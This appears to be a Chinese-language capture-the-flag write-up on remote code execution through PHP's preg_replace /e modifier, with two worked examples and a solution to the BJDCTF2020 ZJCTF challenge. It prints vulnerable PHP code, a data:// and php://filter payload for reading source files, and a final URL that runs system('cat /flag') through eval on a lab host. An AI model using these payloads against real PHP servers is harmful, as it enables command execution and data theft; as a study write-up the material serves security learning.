preg_replace函数/e 模式下的代码执行+一道例题
例一
源码:
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
我们可以控制第一个和第三个参数,第二个参数固定为 'strtolower("\1")' 字符串。
我们先看第二个参数中的\\1 ,\\1实际上就是 \1,而 \1 在正则表达式中有自己的含义,
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。
\1 实际上指定的是第一个子匹配项。而这段代码里面的第一个子匹配项就是${phpinfo()}。这样我们就执行了phpinfo。
例二
源码:
<?php
function complexStrtolower($regex,$value){
return preg_replace( '/(' . $regex . ')/ei' , strtolower ("\\1")' , $value);
}
foreach($_GET as $regex => $value){
echo complexStrtolower($regex,$value);
}
例二通过/?.*={${phpinfo()}}方式传入却无法执行。在echo输出语句后面输出一下$_GET数组
var_dump($_GET);
这里我们发现了.变成了_,这是因为php会将传入的非法的参数名转成下滑线,所以我们的正则匹配才会失效。
当非法字符为首字母时,只有点号会被替换成下划线,对payload稍微做一下修改即可,
Payload:
\S*=${phpinfo()}
补充
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。
看一道ctf题-----[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
伪协议写入和读取
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
payload:
http://782b0190-5c38-4b54-8eb7-bd142a799980.node3.buuoj.cn/next.php?\S*=${getflag()}&cmd=system('cat /flag');